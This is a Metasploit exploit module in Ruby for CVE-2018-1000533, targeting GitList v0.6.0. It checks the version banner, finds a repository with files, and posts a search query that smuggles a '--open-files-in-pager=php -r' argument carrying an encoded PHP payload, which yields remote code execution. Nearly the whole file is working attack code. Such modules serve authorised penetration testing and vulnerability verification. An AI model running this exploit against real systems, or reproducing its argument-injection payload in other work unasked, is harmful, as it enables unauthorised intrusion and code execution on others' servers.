##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "GitList v0.6.0 Argument Injection Vulnerability",
        'Description' => %q{
          This module exploits an argument injection vulnerability in GitList v0.6.0.
          The vulnerability arises from GitList improperly validating input using the php function
          'escapeshellarg'.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kacper Szurek', # EDB POC
          'Shelby Pace' # Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2018-1000533' ],
          [ 'EDB', '44548' ],
          [ 'URL', 'http://web.archive.org/web/20200122054133/https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'GitList v0.6.0', {} ]
        ],
        'Privileged' => false,
        'Payload' => { 'BadChars' => '\'' },
        'DisclosureDate' => '2018-04-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Default path to GitList', '/'])
      ]
    )
  end

  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri
    )

    if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def get_repo
    repo_res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    if repo_res && repo_res.code == 200
      repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten
      fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty?
      return repos.detect { |r| r if has_files?(r) }
    else
      fail_with(Failure::Unreachable, "Could not access GitList")
    end
  end

  def has_files?(repo)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, repo, '/')
    )
    if res && res.code == 200
      print_good("Successfully accessed repo #{repo}")
      return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty?

      return true
    else
      fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo")
    end
  end

  def exploit
    repo = get_repo
    fail_with(Failure::Unreachable, "No files found in repos") if repo.nil?

    postUri = normalize_uri(target_uri.path, repo << '/tree/c/search')
    cmd = "--open-files-in-pager=php -r '#{payload.encoded}'"
    send_request_cgi(
      'method' => 'POST',
      'uri' => postUri,
      'vars_post' => { 'query' => cmd }
    )
  end
end